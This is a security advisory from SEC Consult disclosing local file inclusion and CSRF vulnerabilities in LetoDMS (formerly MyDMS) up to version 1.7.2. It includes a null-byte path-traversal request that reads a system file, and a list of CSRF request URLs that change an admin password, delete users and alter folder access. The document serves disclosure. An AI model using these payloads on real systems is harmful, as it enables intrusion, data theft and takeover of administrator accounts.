SEC Consult Security Advisory < 20100115-0 >

          title: Local file inclusion/execution and multiple 
                 Cross-Site-Request-Forgery vulnerabilities in 
                 LetoDMS (formerly MyDMS)
       products: LetoDMS (formerly MyDMS)

vulnerable version: LetoDMS (formerly MyDMS) <= 1.7.2
fixed version: n.a.
impact: critical
homepage: http://sourceforge.net/projects/mydms/
found: 2009-10-09
by: D. Fabian / SEC Consult / www.sec-consult.com
L. Weichselbaum / SEC Consult / www.sec-consult.com

Vendor description:

MyDMS is an open-source, web-based document management system (DMS)
written in PHP with a database backend. Originally coded by Markus
Westphal, MyDMS provides document meta-data, version control, security
and easy access to your documents.

source: http://sourceforge.net/projects/mydms/

Vulnerability overview/description:

The lang-parameter of /mydms/op/op.Login.php is vulnerable to file
inclusion. Through this vulnerability it is possible to read sensitive
data of the web server and to execute malicious PHP-code.

Furthermore there exist multiple Cross-Site-Request-Forgery
vulnerabilities which can be used to force a user/admin to execute
unwanted actions. Some of these actions are:

• Create new user with admin-privileges
• Change user credentials
• Delete a user/folder/document
• Change owner of a document
• Change access to a document
• Add keywords
• Add notifications
• Move folders

Proof of concept:

File inclusion/execution

If the guest-account is activated or you have a user to log in, it is
possible to include or execute files. The lang-parameter can be
modified in a malicious way. To terminate the predefined file-ending a
null-byte has to be appended after the file to be included. The
following GET-request can be used to e.g. receive the content of the
boot.ini-file on a server running Windows as operating system. This
vulnerability can also be used to execute malicious PHP-code (e.g.
PHP-code that has been written into log-files).

PoC request

GET /mydms/op/op.Login.php?login=guest&sesstheme=&lang=…/…/…/…/
boot.ini%00&sesstheme= HTTP/1.1
[…]

Cross-Site-Request-Forgery (CSRF)

The following requests can be used for CSRF-attacks:

• (only POST) /mydms/op/op.EditUserData.php?pwd=0wned&pwdconf=0wned
  &fullname=Administrator&[email protected]&comment=&userfile=
• /mydms/op/op.UsrMgr.php?userid=3&action=removeuser
• /mydms/out/out.RemoveVersion.php?documentid=1&version=1
• /mydms/op/op.RemoveFolder.php?folderid=2
• /mydms/op/op.DefaultKeywords.php?action=addcategory&name=test
• /mydms/op/op.GroupMgr.php?action=addgroup&name=test&comment=
• /mydms/op/op.FolderAccess.php?action=setowner&folderid=1&ownerid=3
• /mydms/op/op.FolderAccess.php?folderid=1&action=setdefault&mode=4
• /mydms/op/op.FolderAccess.php?folderid=1&action=addaccess&userid=3
  &groupid=-1&mode=4
• /mydms/op/op.FolderNotify.php?folderid=1&action=addnotify&userid=3
  &groupid=-1
• /mydms/op/op.MoveFolder.php?folderid=4&targetid=1

It is assumed that there is more functionality vulnerable to
CSRF-attacks

Vulnerable versions:

MyDMS

• <= 1.7.2

Vendor contact timeline:

2009-10-29: Contacting developers on SourceForge.Net and on
trilexnet.com by contact-form and the dev-forum.
2009-12-11: No response from developers so far.
2009-12-11: New attempt to contact developers.
2010-01-15: No response from developers.
2010-01-15: Release of the advisory.

Solution:

n.a.

Advisory URL:

https://www.sec-consult.com/advisories.html#a64

SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
www.sec-consult.com

SEC Consult conducts periodical information security workshops on ISO 
27001/BS 7799 in cooperation with BSI Management Systems. For more 
information, please refer to https://www.sec-consult.com/academy_e.html

EOF L. Weichselbaum / @2010